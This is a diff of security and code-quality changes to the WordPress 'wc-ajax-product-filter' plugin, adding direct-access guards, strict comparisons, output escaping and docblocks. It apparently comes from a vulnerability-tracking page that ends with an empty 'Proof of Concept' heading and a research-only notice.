-					'title'           => $taxonomy_data->labels->singular_name,
-					'type'            => 'taxonomy',
-					'taxonomy'        => $attribute,
-					'display_type'    => 'select',
-					'all_items_label' => __( 'Any', 'wc-ajax-product-filter' ),
-				);
+				if ( $taxonomy_data && isset( $taxonomy_data->labels->singular_name ) ) {
+					$filters_basic_data[] = array(
+						'title'           => $taxonomy_data->labels->singular_name,
+						'type'            => 'taxonomy',
+						'taxonomy'        => $attribute,
+						'display_type'    => 'select',
+						'all_items_label' => __( 'Any', 'wc-ajax-product-filter' ),
+					);

-				$used[] = $attribute;
+					$used[] = $attribute;

-				break;
+					break;
+				}
 			}
 		}

@@ -173,7 +192,7 @@
 		$found_second_attribute = false;

 		foreach ( $attributes as $attribute ) {
-			if ( in_array( $attribute, $used ) ) {
+			if ( in_array( $attribute, $used, true ) ) {
 				continue;
 			}

@@ -184,19 +203,21 @@
 				)
 			);

-			if ( $attribute_terms ) {
+			if ( ! is_wp_error( $attribute_terms ) && ! empty( $attribute_terms ) ) {
 				$taxonomy_data = get_taxonomy( $attribute );

-				$filters_basic_data[] = array(
-					'title'        => $taxonomy_data->labels->singular_name,
-					'type'         => 'taxonomy',
-					'taxonomy'     => $attribute,
-					'display_type' => 'multi-select',
-				);
+				if ( $taxonomy_data && isset( $taxonomy_data->labels->singular_name ) ) {
+					$filters_basic_data[] = array(
+						'title'        => $taxonomy_data->labels->singular_name,
+						'type'         => 'taxonomy',
+						'taxonomy'     => $attribute,
+						'display_type' => 'multi-select',
+					);

-				$found_second_attribute = true;
+					$found_second_attribute = true;

-				break;
+					break;
+				}
 			}
 		}

@@ -209,7 +230,7 @@
 				)
 			);

-			if ( $tags ) {
+			if ( ! is_wp_error( $tags ) && ! empty( $tags ) ) {
 				$filters_basic_data[] = array(
 					'title'    => __( 'Tag', 'wc-ajax-product-filter' ),
 					'type'     => 'taxonomy',
@@ -258,6 +279,15 @@
 		return $filters;
 	}

+	/**
+	 * Returns the default data for a product filter.
+	 *
+	 * Defines the initial values used for a filter, including general settings,
+	 * taxonomy settings, price settings, post meta settings, advanced settings,
+	 * active filters settings, reset button settings, and error fields.
+	 *
+	 * @return array Default filter data.
+	 */
 	public static function filter_default_data() {
 		return array(
 			'id'                                    => '',
@@ -265,7 +295,7 @@
 			'type'                                  => '',
 			'taxonomy'                              => '',
 			'taxHierarchical'                       => '',
-			'meta_key'                              => '',
+			'meta_key'                              => '', // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key -- Not a database query.
 			'component'                             => '',
 			'value_type'                            => 'text',
 			'field_key'                             => '',
@@ -384,5 +414,4 @@
 			'field_key_error_'                      => '', // Comes from server side.
 		);
 	}
-
 }
--- a/wc-ajax-product-filter/includes/class-wcapf-field-instance.php
+++ b/wc-ajax-product-filter/includes/class-wcapf-field-instance.php
@@ -5,9 +5,14 @@
  * @since      3.0.0
  * @package    wc-ajax-product-filter
  * @subpackage wc-ajax-product-filter/includes
- * @author     wptools.io
+ * @author     Mainul Hassan
  */

+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * WCAPF_Field_Instance class.
  *
@@ -15,39 +20,239 @@
  */
 class WCAPF_Field_Instance {

+	/**
+	 * Parsed display type.
+	 *
+	 * @var string
+	 */
 	public $display_type;
+
+	/**
+	 * Filter layout.
+	 *
+	 * @var string
+	 */
 	public $layout;
+
+	/**
+	 * Query type used for combining selected values.
+	 *
+	 * Determines the relation applied between multiple selected values,
+	 * such as `and` or `or`.
+	 *
+	 * @var string
+	 */
 	public $query_type;
+
+	/**
+	 * Label used for the "all items" option.
+	 *
+	 * @var string
+	 */
 	public $all_items_label;
+
+	/**
+	 * Whether the field should use combobox behavior.
+	 *
+	 * @var mixed
+	 */
 	public $use_combobox;
+
+	/**
+	 * Whether multiple filtering is enabled.
+	 *
+	 * @var mixed
+	 */
 	public $enable_multiple_filter;
+
+	/**
+	 * Whether option counts should be displayed.
+	 *
+	 * @var mixed
+	 */
 	public $show_count;
+
+	/**
+	 * Whether empty options should be hidden.
+	 *
+	 * @var mixed
+	 */
 	public $hide_empty;
+
+	/**
+	 * Filter options source mode.
+	 *
+	 * Supported values typically include `automatically` and `manual_entry`.
+	 *
+	 * @var string
+	 */
 	public $get_options;
+
+	/**
+	 * Manually configured options.
+	 *
+	 * @var array
+	 */
 	public $manual_options;
+
+	/**
+	 * Field type.
+	 *
+	 * @var string
+	 */
 	public $type;
+
+	/**
+	 * Filter post ID.
+	 *
+	 * @var mixed
+	 */
 	public $filter_id;
+
+	/**
+	 * Filter key used in request and query handling.
+	 *
+	 * Identifies the filter in frontend requests and internal query parsing.
+	 *
+	 * @var string
+	 */
 	public $filter_key;
+
+	/**
+	 * Normalized filter type.
+	 *
+	 * @var string
+	 */
 	public $filter_type;
+
+	/**
+	 * Associated taxonomy name.
+	 *
+	 * @var string
+	 */
 	public $taxonomy;
+
+	/**
+	 * Whether the taxonomy options are hierarchical.
+	 *
+	 * @var bool
+	 */
 	public $hierarchical;
+
+	/**
+	 * Whether hierarchy accordion mode is enabled.
+	 *
+	 * @var bool
+	 */
 	public $enable_hierarchy_accordion;
+
+	/**
+	 * Filter value type.
+	 *
+	 * Determines how the filter value is interpreted and compared, such as
+	 * text, number, or date.
+	 *
+	 * @var string
+	 */
 	public $value_type;
+
+	/**
+	 * Associated meta key.
+	 *
+	 * @var string
+	 */
 	public $meta_key;
+
+	/**
+	 * Associated post property.
+	 *
+	 * @var string
+	 */
 	public $post_property;
+
+	/**
+	 * Whether store name should be used for vendor-related fields.
+	 *
+	 * @var string
+	 */
 	public $use_store_name;
+
+	/**
+	 * Whether term slugs should be used instead of term IDs.
+	 *
+	 * @var mixed
+	 */
 	public $use_term_slug;
+
+	/**
+	 * SQL data type used for numeric comparisons.
+	 *
+	 * Defines the SQL type used when numeric values are compared in queries,
+	 * such as `SIGNED` or `DECIMAL`.
+	 *
+	 * @var string
+	 */
 	public $number_data_type;
+
+	/**
+	 * Parent form ID.
+	 *
+	 * Holds the ID of the form this filter belongs to.
+	 *
+	 * @var mixed
+	 */
 	public $form_id;
+
+	/**
+	 * Whether the search field is enabled.
+	 *
+	 * @var mixed
+	 */
 	public $enable_search_field;
+
+	/**
+	 * Reduce-height mode.
+	 *
+	 * Stores the configured mode used to limit the option list height, such as
+	 * soft limit or max height.
+	 *
+	 * @var false|string
+	 */
 	public $enable_reduce_height;
+
+	/**
+	 * Maximum height for option lists.
+	 *
+	 * @var float
+	 */
 	public $max_height;
+
+	/**
+	 * Number of initially visible options when soft limit is enabled.
+	 *
+	 * @var int
+	 */
 	public $soft_limit;
+
+	/**
+	 * Whether the soft limit feature is enabled.
+	 *
+	 * @var bool
+	 */
 	public $enable_soft_limit;
+
+	/**
+	 * Whether the max-height feature is enabled.
+	 *
+	 * @var bool
+	 */
 	public $enable_max_height;

 	/**
-	 * The raw field instance.
+	 * The raw field instance data.
+	 *
+	 * Holds the original filter configuration used to derive the parsed
+	 * field properties.
 	 *
 	 * @var array
 	 */
@@ -193,16 +398,22 @@
 	}

 	/**
-	 * @return string
+	 * Retrieves the raw field type.
+	 *
+	 * @return string Field type.
 	 */
 	private function get_field_type() {
 		return $this->get_sub_field_value( 'type' );
 	}

 	/**
-	 * @param string $name
+	 * Retrieves a raw sub-field value from the field instance.
+	 *
+	 * Returns an empty string when the requested key is not available.
 	 *
-	 * @return mixed
+	 * @param string $name Sub-field name.
+	 *
+	 * @return mixed Sub-field value or an empty string if not set.
 	 */
 	public function get_sub_field_value( $name ) {
 		if ( isset( $this->instance[ $name ] ) ) {
@@ -213,7 +424,9 @@
 	}

 	/**
-	 * @return string
+	 * Retrieves the default value type for the current field.
+	 *
+	 * @return string Default value type.
 	 */
 	private function field_default_value_type() {
 		$field_type = $this->get_field_type();
@@ -227,7 +440,9 @@
 	}

 	/**
-	 * @param string $display_type
+	 * Parses and normalizes the configured display type.
+	 *
+	 * @param string $display_type Raw display type.
 	 *
 	 * @return string
 	 */
@@ -252,7 +467,7 @@
 		}

 		foreach ( $available_display_types as $key => $display_types ) {
-			if ( in_array( $display_type, $display_types ) ) {
+			if ( in_array( $display_type, $display_types, true ) ) {
 				$_display_type = $key;
 				break;
 			}
@@ -262,9 +477,13 @@
 	}

 	/**
-	 * @param string $all_items_label
+	 * Parses the all-items label for the filter.
 	 *
-	 * @return string
+	 * Applies context-aware defaults when no label is configured.
+	 *
+	 * @param string $all_items_label Raw all-items label.
+	 *
+	 * @return string Parsed all-items label.
 	 */
 	private function parse_all_items_label( $all_items_label ) {
 		$type = $this->get_sub_field_value( 'type' );
@@ -279,31 +498,42 @@
 			}
 		}

-		return $all_items_label ?: __( 'All Items', 'wc-ajax-product-filter' );
+		if ( ! $all_items_label ) {
+			return __( 'All Items', 'wc-ajax-product-filter' );
+		}
+
+		return $all_items_label;
 	}

 	/**
+	 * Retrieves the layout for the filter.
+	 *
+	 * Returns the allowed layout based on the current display type and falls
+	 * back to `list` when the configured layout is invalid.
+	 *
 	 * @since 4.0.0
 	 *
-	 * @return string
+	 * @return string Filter layout.
 	 */
 	private function get_layout() {
 		$native_layouts = apply_filters( 'wcapf_native_layouts', array( 'list', 'inline' ) );
 		$custom_layouts = apply_filters( 'wcapf_custom_layouts', array( 'inline' ) );

-		if ( in_array( $this->display_type, array( 'checkbox', 'radio' ) ) ) {
+		if ( in_array( $this->display_type, array( 'checkbox', 'radio' ), true ) ) {
 			$value = $this->get_sub_field_value( 'native_display_type_layout' );

-			return in_array( $value, $native_layouts ) ? $value : 'list';
+			return in_array( $value, $native_layouts, true ) ? $value : 'list';
 		} else {
 			$value = $this->get_sub_field_value( 'custom_display_type_layout' );

-			return in_array( $value, $custom_layouts ) ? $value : 'list';
+			return in_array( $value, $custom_layouts, true ) ? $value : 'list';
 		}
 	}

 	/**
-	 * @return string
+	 * Retrieves the normalized filter type.
+	 *
+	 * @return string Filter type.
 	 */
 	private function get_filter_type() {
 		$field_type  = $this->get_field_type();
@@ -319,12 +549,14 @@
 	}

 	/**
-	 * @return string
+	 * Retrieves the taxonomy assigned to the current field.
+	 *
+	 * @return string Taxonomy name.
 	 */
 	private function get_taxonomy() {
 		$taxonomy = $this->get_sub_field_value( 'taxonomy' );

-		if ( 'rating' === $this->type && 'automatically' == $this->get_options ) {
+		if ( 'rating' === $this->type && 'automatically' === $this->get_options ) {
 			$taxonomy = 'product_visibility';
 		}

@@ -332,7 +564,9 @@
 	}

 	/**
-	 * @return bool
+	 * Determines whether the current taxonomy field should behave hierarchically.
+	 *
+	 * @return bool True if the field is hierarchical, otherwise false.
 	 */
 	private function taxonomy_is_hierarchical() {
 		$taxonomy = $this->get_taxonomy();
@@ -347,12 +581,12 @@

 		$non_hierarchical_display_types = array( 'label', 'color', 'image' );

-		if ( in_array( $this->display_type, $non_hierarchical_display_types ) ) {
+		if ( in_array( $this->display_type, $non_hierarchical_display_types, true ) ) {
 			return false;
 		}

 		// Disable hierarchy for inline and grid layout.
-		if ( in_array( $this->display_type, array( 'checkbox', 'radio' ) ) && 'list' !== $this->layout ) {
+		if ( in_array( $this->display_type, array( 'checkbox', 'radio' ), true ) && 'list' !== $this->layout ) {
 			return false;
 		}

@@ -360,7 +594,9 @@
 	}

 	/**
-	 * @return bool
+	 * Determines whether hierarchy accordion mode is enabled.
+	 *
+	 * @return bool True if hierarchy accordion mode is enabled, otherwise false.
 	 */
 	private function is_hierarchy_accordion_enabled() {
 		if ( ! $this->taxonomy_is_hierarchical() ) {
@@ -369,7 +605,7 @@

 		$non_hierarchy_accordion_display_types = array( 'select', 'multiselect' );

-		if ( in_array( $this->display_type, $non_hierarchy_accordion_display_types ) ) {
+		if ( in_array( $this->display_type, $non_hierarchy_accordion_display_types, true ) ) {
 			return false;
 		}

@@ -377,7 +613,9 @@
 	}

 	/**
-	 * @return string
+	 * Retrieves the meta key assigned to the current field.
+	 *
+	 * @return string Meta key.
 	 */
 	private function get_meta_key() {
 		$meta_key = $this->get_sub_field_value( 'meta_key' );
@@ -386,7 +624,9 @@
 	}

 	/**
-	 * @return string
+	 * Retrieves the value type for the current field.
+	 *
+	 * @return string Value type.
 	 */
 	private function get_value_type() {
 		$default_value_type = $this->field_default_value_type();
@@ -395,7 +635,9 @@
 	}

 	/**
-	 * @return string
+	 * Retrieves the SQL data type used for numeric filtering.
+	 *
+	 * @return string SQL data type.
 	 */
 	private function get_number_data_type() {
 		$data_type = 'SIGNED';
@@ -418,6 +660,11 @@
 		return apply_filters( 'wcapf_number_data_type', $data_type, $this->instance );
 	}

+	/**
+	 * Retrieves the post property mapped to the current field type.
+	 *
+	 * @return string Post property.
+	 */
 	private function get_post_property() {
 		$type     = $this->get_field_type();
 		$property = '';
@@ -430,9 +677,13 @@
 	}

 	/**
+	 * Determines whether store name usage is enabled.
+	 *
+	 * Returns an empty string when no supported vendor plugin is active.
+	 *
 	 * @since 3.3.0
 	 *
-	 * @return string
+	 * @return string Store name setting value.
 	 */
 	private function is_store_name_enabled() {
 		if ( ! WCAPF_Helper::is_vendor_plugin_found() ) {
@@ -469,13 +720,15 @@
 	}

 	/**
-	 * Determines if reduce height is possible according to the display type.
+	 * Determines whether reduce-height behavior is allowed for the current field.
 	 *
-	 * @param string $field
+	 * The result depends on the current display type and the requested context.
 	 *
 	 * @since 4.0.0
 	 *
-	 * @return bool
+	 * @param string $field Context for the check. Accepts `reduce-height` or `search`.
+	 *
+	 * @return bool True if reduce-height behavior is allowed, otherwise false.
 	 */
 	private function is_reduce_height_possible( $field = 'reduce-height' ) {
 		if ( $this->taxonomy_is_hierarchical() && 'search' === $field ) {
@@ -504,7 +757,7 @@
 			);
 		}

-		if ( in_array( $this->display_type, $not_allowed_display_types ) ) {
+		if ( in_array( $this->display_type, $not_allowed_display_types, true ) ) {
 			return false;
 		}

@@ -534,7 +787,7 @@
 	 * @return float
 	 */
 	private function filter_options_max_height() {
-		return floatval( $this->get_sub_field_value( 'max_height' ) );
+		return (float) $this->get_sub_field_value( 'max_height' );
 	}

 	/**
@@ -569,5 +822,4 @@
 	private function is_max_height_enabled() {
 		return 'max_height' === $this->enable_reduce_height && 1 <= $this->max_height;
 	}
-
 }
--- a/wc-ajax-product-filter/includes/class-wcapf-form-filters-utils.php
+++ b/wc-ajax-product-filter/includes/class-wcapf-form-filters-utils.php
@@ -5,9 +5,14 @@
  * @since      4.0.0
  * @package    wc-ajax-product-filter
  * @subpackage wc-ajax-product-filter/includes
- * @author     wptools.io
+ * @author     Mainul Hassan
  */

+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * WCAPF_Form_Filters_Utils class.
  *
@@ -16,9 +21,11 @@
 class WCAPF_Form_Filters_Utils {

 	/**
-	 * @param array $form_filters
-	 * @param int   $new_form_id
-	 * @param bool  $migrate
+	 * Saves form filters and returns sanitized filters with collected errors.
+	 *
+	 * @param array $form_filters Form filter data.
+	 * @param int   $new_form_id  Parent form post ID.
+	 * @param bool  $migrate      Whether the filters are being migrated.
 	 *
 	 * @return array
 	 */
@@ -30,7 +37,7 @@
 		$errors         = array();

 		// Check for error coming for filter keys.
-		if ( $form_filters ) {
+		if ( ! empty( $form_filters ) && is_array( $form_filters ) ) {
 			foreach ( $form_filters as $filter_order => $filter ) {
 				list(
 					,
@@ -61,7 +68,7 @@
 			wp_send_json_error( array( 'errors' => $errors ) );
 		}

-		if ( $form_filters ) {
+		if ( ! empty( $form_filters ) && is_array( $form_filters ) ) {
 			foreach ( $form_filters as $filter_order => $filter ) {
 				$is_new       = isset( $filter['isNew'] ) ? $filter['isNew'] : '';
 				$unique_index = isset( $filter['uniqueIndex'] ) ? $filter['uniqueIndex'] : '';
@@ -76,7 +83,7 @@
 					$component
 					) = $this->get_filter_data( $filter );

-				if ( ! in_array( $type, $valid_types ) ) {
+				if ( ! in_array( $type, $valid_types, true ) ) {
 					continue;
 				}

@@ -121,7 +128,7 @@
 				}

 				// Don't add same filter type in a form multiple times.
-				if ( in_array( $filter_type, $filter_types ) ) {
+				if ( in_array( $filter_type, $filter_types, true ) ) {
 					$post_status = 'draft';
 				} else {
 					$post_status = 'publish';
@@ -201,11 +208,13 @@
 					'menu_order'   => $filter_order,
 				);

-				add_filter( 'pre_wp_unique_post_slug', function () use ( $post_name ) {
+				$unique_post_slug_callback = static function () use ( $post_name ) {
 					return $post_name;
-				} );
+				};

+				add_filter( 'pre_wp_unique_post_slug', $unique_post_slug_callback );
 				$new_filter_id = wp_update_post( $post_arr, true );
+				remove_filter( 'pre_wp_unique_post_slug', $unique_post_slug_callback );

 				if ( ! is_wp_error( $new_filter_id ) ) {
 					// Add 'isNew', 'uniqueIndex' when returning the filter data for React UI.
@@ -226,14 +235,16 @@
 	}

 	/**
-	 * @param $filter
+	 * Retrieves normalized filter data.
+	 *
+	 * @param array $filter Raw filter data.
 	 *
 	 * @return array
 	 */
 	private function get_filter_data( $filter ) {
 		$filter_title = isset( $filter['title'] ) ? sanitize_text_field( $filter['title'] ) : '';
 		$filter_id    = isset( $filter['id'] ) ? absint( $filter['id'] ) : 0;
-		$post_name    = isset( $filter['field_key'] ) ? sanitize_title( $filter['field_key'] ) : '';
+		$post_name    = isset( $filter['field_key'] ) ? urldecode( sanitize_title( $filter['field_key'] ) ) : '';
 		$type         = isset( $filter['type'] ) ? sanitize_text_field( $filter['type'] ) : '';
 		$taxonomy     = isset( $filter['taxonomy'] ) ? sanitize_text_field( $filter['taxonomy'] ) : '';
 		$meta_key     = isset( $filter['meta_key'] ) ? sanitize_text_field( $filter['meta_key'] ) : '';
@@ -243,17 +254,26 @@
 	}

 	/**
-	 * Tries to retrieve the filter key for the filter.
+	 * Retrieves and validates the filter key for a filter configuration.
 	 *
-	 * @param string $type
-	 * @param array  $possible_types
-	 * @param string $taxonomy
-	 * @param array  $filter_data
-	 * @param string $post_name
-	 * @param string $meta_key
-	 * @param int    $filter_order
+	 * Determines the correct field key (post_name) for a filter based on its
+	 * type, taxonomy, meta key, or global configuration. It also validates the
+	 * key to prevent conflicts with existing post types, taxonomies, or reserved
+	 * search keys.
 	 *
-	 * @return array
+	 * @param string $type           Filter type (taxonomy, post-meta, component, etc).
+	 * @param array  $possible_types List of available filter types from the API.
+	 * @param string $taxonomy       Selected taxonomy when the filter type is taxonomy.
+	 * @param array  $filter_data    Raw filter configuration data.
+	 * @param string $post_name      Proposed filter key (slug).
+	 * @param string $meta_key       Meta key when the filter type is post-meta.
+	 * @param int    $filter_order   Position of the filter in the form.
+	 *
+	 * @return array {
+	 *     @type string $post_name        Final filter key (slug).
+	 *     @type array  $error_data       Error information if the key conflicts.
+	 *     @type array  $filter_type_data Filter type metadata.
+	 * }
 	 */
 	public function retrieve_filter_key(
 		$type,
@@ -273,13 +293,13 @@
 		}

 		if ( 'taxonomy' === $type ) {
-			$taxonomy_index    = array_search( 'taxonomy', array_column( $possible_types, 'value' ) );
+			$taxonomy_index    = array_search( 'taxonomy', array_column( $possible_types, 'value' ), true );
 			$taxonomy_options  = $possible_types[ $taxonomy_index ];
 			$taxonomy_types    = $taxonomy_options['options'];
-			$filter_type_index = array_search( $taxonomy, array_column( $taxonomy_types, 'value' ) );
+			$filter_type_index = array_search( $taxonomy, array_column( $taxonomy_types, 'value' ), true );
 			$filter_type_data  = $taxonomy_types[ $filter_type_index ];
 		} else {
-			$filter_type_index = array_search( $type, array_column( $possible_types, 'value' ) );
+			$filter_type_index = array_search( $type, array_column( $possible_types, 'value' ), true );
 			$filter_type_data  = $possible_types[ $filter_type_index ];
 		}

@@ -301,9 +321,6 @@

 		$error_data = array();

-		// Check if pro version found and pretty url is enabled then don't generate the below errors.
-		// if ( ! WCAPF_Helper::found_pro_version() ) {
-
 		if ( post_type_exists( $post_name ) ) {
 			$error_data = array(
 				'key'       => 'field_key_error_',
@@ -329,36 +346,33 @@
 			);
 		}

-		// }
-
 		return array( $post_name, $error_data, $filter_type_data );
 	}

 	/**
-	 * Generates the filter key error message.
+	 * Generates a user-facing error message when a filter key conflicts with
+	 * an existing WordPress post type or taxonomy.
 	 *
-	 * @param string $type
+	 * @param string $type Conflict type. Expected values: 'post-type' or 'taxonomy'.
 	 *
-	 * @return string
+	 * @return string Localized error message explaining the conflict.
 	 */
 	private function generate_filter_key_error_message( $type ) {
-		$post_type_err = __(
-			"Post type name can't be used as a filter key, it'll create conflict.",
-			'wc-ajax-product-filter'
+		$messages = array(
+			'post-type' => __(
+				"Post type name can't be used as a filter key, it'll create conflict.",
+				'wc-ajax-product-filter'
+			),
+			'taxonomy'  => __(
+				"Taxonomy name can't be used as a filter key, it'll create conflict.",
+				'wc-ajax-product-filter'
+			),
 		);

-		$tax_type_err = __(
-			"Taxonomy name can't be used as a filter key, it'll create conflict.",
-			'wc-ajax-product-filter'
-		);
+		$common_message = __( 'Please make it unique by adding an underscore.', 'wc-ajax-product-filter' );
+		$type_message   = isset( $messages[ $type ] ) ? $messages[ $type ] : $messages['post-type'];

-		$common_err = __( 'Please make it unique by adding an underscore.', 'wc-ajax-product-filter' );
-
-		return sprintf(
-			'%s %s',
-			'taxonomy' === $type ? $tax_type_err : $post_type_err,
-			$common_err
-		);
+		return sprintf( '%s %s', $type_message, $common_message );
 	}

 	/**
@@ -396,8 +410,8 @@
 		$sanitized_filter = array();

 		foreach ( $filter as $key => $value ) {
-			if ( in_array( $key, $float_fields ) ) {
-				$value = floatval( $value );
+			if ( in_array( $key, $float_fields, true ) ) {
+				$value = (float) $value;

 				if ( 'min_value' === $key && ! $value ) {
 					$value = 0;
@@ -410,34 +424,32 @@
 				if ( 'step' === $key && ! $value ) {
 					$value = 1;
 				}
-			} elseif ( in_array( $key, $absint_fields ) ) {
+			} elseif ( in_array( $key, $absint_fields, true ) ) {
 				$value = absint( $value );
-			} elseif ( in_array( $key, $limit_fields ) ) {
+			} elseif ( in_array( $key, $limit_fields, true ) ) {
 				if ( ! $migrate ) {
 					// Pick the ids only.
-					$value = wp_list_pluck( $value, 'value' );
+					$value = is_array( $value ) ? wp_list_pluck( $value, 'value' ) : array();
 					$value = array_map( 'sanitize_text_field', $value );
 				}
-			} elseif ( in_array( $key, $single_array_fields ) ) {
-				$value = isset( $value['value'] ) ? $value['value'] : '';
-			} elseif ( in_array( $key, $value_may_have_spaces ) ) {
+			} elseif ( in_array( $key, $single_array_fields, true ) ) {
+				$value = ( is_array( $value ) && isset( $value['value'] ) ) ? $value['value'] : '';
+			} elseif ( in_array( $key, $value_may_have_spaces, true ) ) {
 				$value = str_replace( ' ', ' ', $value );

 				$with_markup = array( 'values_separator', 'text_before_min_value', 'text_before_max_value' );

-				if ( in_array( $key, $with_markup ) ) {
+				if ( in_array( $key, $with_markup, true ) ) {
 					$value = wp_kses_data( $value );
 				} else {
 					$value = sanitize_text_field( $value );
 				}
-			} elseif ( in_array( $key, $markup_fields ) ) {
+			} elseif ( in_array( $key, $markup_fields, true ) ) {
 				$value = wp_kses_post( $value );
 			} elseif ( 'product_status_options' === $key ) {
 				$value = $this->sanitize_product_status_options( $value );
-			} else {
-				if ( ! $migrate ) {
-					$value = sanitize_text_field( $value );
-				}
+			} elseif ( ! $migrate ) {
+				$value = sanitize_text_field( $value );
 			}

 			$sanitized_filter[ $key ] = $value;
@@ -447,6 +459,8 @@
 	}

 	/**
+	 * Sanitizes product status options.
+	 *
 	 * @param array $options The array of options.
 	 *
 	 * @return array
@@ -461,8 +475,8 @@

 		foreach ( $options as $option ) {
 			$option = WCAPF_API_Utils::sanitize_manual_option_data( $option );
-			$value  = $option['value'];
-			$label  = $option['label'];
+			$value  = isset( $option['value'] ) ? $option['value'] : '';
+			$label  = isset( $option['label'] ) ? $option['label'] : '';

 			if ( ! strlen( $value ) ) {
 				continue;
@@ -477,5 +491,4 @@

 		return $array;
 	}
-
 }
--- a/wc-ajax-product-filter/includes/class-wcapf-form.php
+++ b/wc-ajax-product-filter/includes/class-wcapf-form.php
@@ -5,9 +5,14 @@
  * @since      4.0.0
  * @package    wc-ajax-product-filter
  * @subpackage wc-ajax-product-filter/includes
- * @author     wptools.io
+ * @author     Mainul Hassan
  */

+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * WCAPF_Form class.
  *
@@ -16,20 +21,46 @@
 class WCAPF_Form {

 	/**
-	 * @var $form array
+	 * The form array.
+	 *
+	 * @var array
 	 */
 	protected $form;

+	/**
+	 * Initializes the form instance.
+	 *
+	 * Retrieves the current form data and stores it for later use during
+	 * frontend rendering.
+	 *
+	 * @return void
+	 */
 	public function __construct() {
 		$this->form = $this->retrieve_form();
 	}

+	/**
+	 * Retrieves the current form data.
+	 *
+	 * Reads the active form data from the global form variable prepared by the
+	 * plugin before rendering.
+	 *
+	 * @return array Form data.
+	 */
 	protected function retrieve_form() {
 		global $wcapf_form;

 		return $wcapf_form;
 	}

+	/**
+	 * Renders the filter form on the frontend.
+	 *
+	 * Outputs the full form markup, including all configured filters and
+	 * components for the form instance.
+	 *
+	 * @return void
+	 */
 	public function render_form() {
 		if ( ! $this->should_we_proceed() ) {
 			return;
@@ -37,9 +68,13 @@

 		$form_id = isset( $this->form['form_id'] ) ? $this->form['form_id'] : '';

-		$form_classes = 'wcapf-form wcapf-form-' . $form_id;
+		$form_classes = 'wcapf-form wcapf-form-' . sanitize_html_class( $form_id );

-		echo '<div class="' . esc_attr( $form_classes ) . '" data-id="' . esc_attr( $form_id ) . '">';
+		printf(
+			'<div class="%1$s" data-id="%2$s">',
+			esc_attr( $form_classes ),
+			esc_attr( $form_id )
+		);

 		do_action( 'wcapf_before_form_filters', $form_id );

@@ -49,7 +84,12 @@
 		$number_input_types = WCAPF_Helper::number_input_display_types();

 		foreach ( $filters as $filter ) {
-			$field_data     = $filter['field'];
+			$field_data = isset( $filter['field'] ) ? $filter['field'] : array();
+
+			if ( empty( $field_data ) || ! is_array( $field_data ) ) {
+				continue;
+			}
+
 			$field_instance = new WCAPF_Field_Instance( $field_data );
 			$field_type     = $field_instance->type;

@@ -59,7 +99,10 @@

 			if ( 'component' === $field_type ) {
 				$this->render_components( $field_instance );
-			} elseif ( 'price' === $field_type && in_array( $field_instance->display_type, $number_input_types ) ) {
+			} elseif (
+				'price' === $field_type &&
+				in_array( $field_instance->display_type, $number_input_types, true )
+			) {
 				$this->render_price_filter( $field_instance );
 			} elseif ( 'keyword' === $field_type ) {
 				$this->render_keyword_filter( $field_instance );
@@ -68,26 +111,26 @@
 			}
 		}

-		if ( $this->is_debugging() ) {
+		if ( WCAPF_Helper::is_debug_mode_enabled() ) {
 			$edit_url = WCAPF_Helper::form_edit_url( $form_id );

 			if ( ! $filters ) {
-				/** @noinspection HtmlUnknownTarget */
-				echo WCAPF_Helper::get_debug_message(
-					sprintf(
-						__(
-							'The form is empty. Please add some filters by editing the form <a href="%s">here</a>.',
-							'wc-ajax-product-filter'
-						),
-						esc_url( $edit_url )
-					)
+				$message = sprintf(
+					/* translators: %s: Form edit URL. */
+					__(
+						'The form is empty. Please add some filters by editing the form <a href="%s">here</a>.',
+						'wc-ajax-product-filter'
+					),
+					esc_url( $edit_url )
 				);
+
+				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output is escaped inside WCAPF_Helper::get_debug_message().
+				echo WCAPF_Helper::get_debug_message( $message );
 			} else {
-				/** @noinspection HtmlUnknownTarget */
-				echo sprintf(
-					'<p><a href="%s">%s</a></p>',
+				printf(
+					'<p><a href="%1$s">%2$s</a></p>',
 					esc_url( $edit_url ),
-					__( 'Edit form', 'wc-ajax-product-filter' )
+					esc_html__( 'Edit form', 'wc-ajax-product-filter' )
 				);
 			}
 		}
@@ -99,6 +142,14 @@
 		$this->set_done();
 	}

+	/**
+	 * Determines whether the form can be rendered.
+	 *
+	 * Prevents rendering when the form data is missing or the form has already
+	 * been rendered.
+	 *
+	 * @return bool True if rendering should continue, otherwise false.
+	 */
 	private function should_we_proceed() {
 		if ( ! $this->form ) {
 			return false;
@@ -112,7 +163,9 @@
 	}

 	/**
-	 * @param WCAPF_Field_Instance $field_instance
+	 * Render the form components.
+	 *
+	 * @param WCAPF_Field_Instance $field_instance The field instance.
 	 *
 	 * @return void
 	 */
@@ -127,7 +180,9 @@
 	}

 	/**
-	 * @param WCAPF_Field_Instance $field_instance
+	 * Renders the active filters.
+	 *
+	 * @param WCAPF_Field_Instance $field_instance The field instance.
 	 *
 	 * @return void
 	 */
@@ -140,8 +195,7 @@
 		$clear_btn_label  = WCAPF_Helper::clear_all_button_label();
 		$clear_btn_layout = $field_instance->get_sub_field_value( 'clear_all_btn_layout' );

-		WCAPF_Template_Loader::get_instance()->load(
-			'active-filters',
+		$args = WCAPF_Helper::prepare_active_filters_args(
 			array(
 				'title'                => $title,
 				'show_title'           => $show_title,
@@ -152,25 +206,32 @@
 				'clear_all_btn_layout' => $clear_btn_layout,
 			)
 		);
+
+		WCAPF_Template_Loader::get_instance()->load( 'active-filters', $args );
 	}

 	/**
-	 * @param WCAPF_Field_Instance $field_instance
+	 * Renders the reset button.
+	 *
+	 * @param WCAPF_Field_Instance $field_instance The field instance.
 	 *
 	 * @return void
 	 */
 	private function render_reset_button( $field_instance ) {
-		WCAPF_Template_Loader::get_instance()->load(
-			'reset-button',
+		$args = WCAPF_Helper::prepare_reset_button_args(
 			array(
 				'btn_label'   => WCAPF_Helper::reset_button_label(),
 				'show_always' => $field_instance->get_sub_field_value( 'show_if_empty' ),
 			)
 		);
+
+		WCAPF_Template_Loader::get_instance()->load( 'reset-button', $args );
 	}

 	/**
-	 * @param WCAPF_Field_Instance $field_instance
+	 * Renders the

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

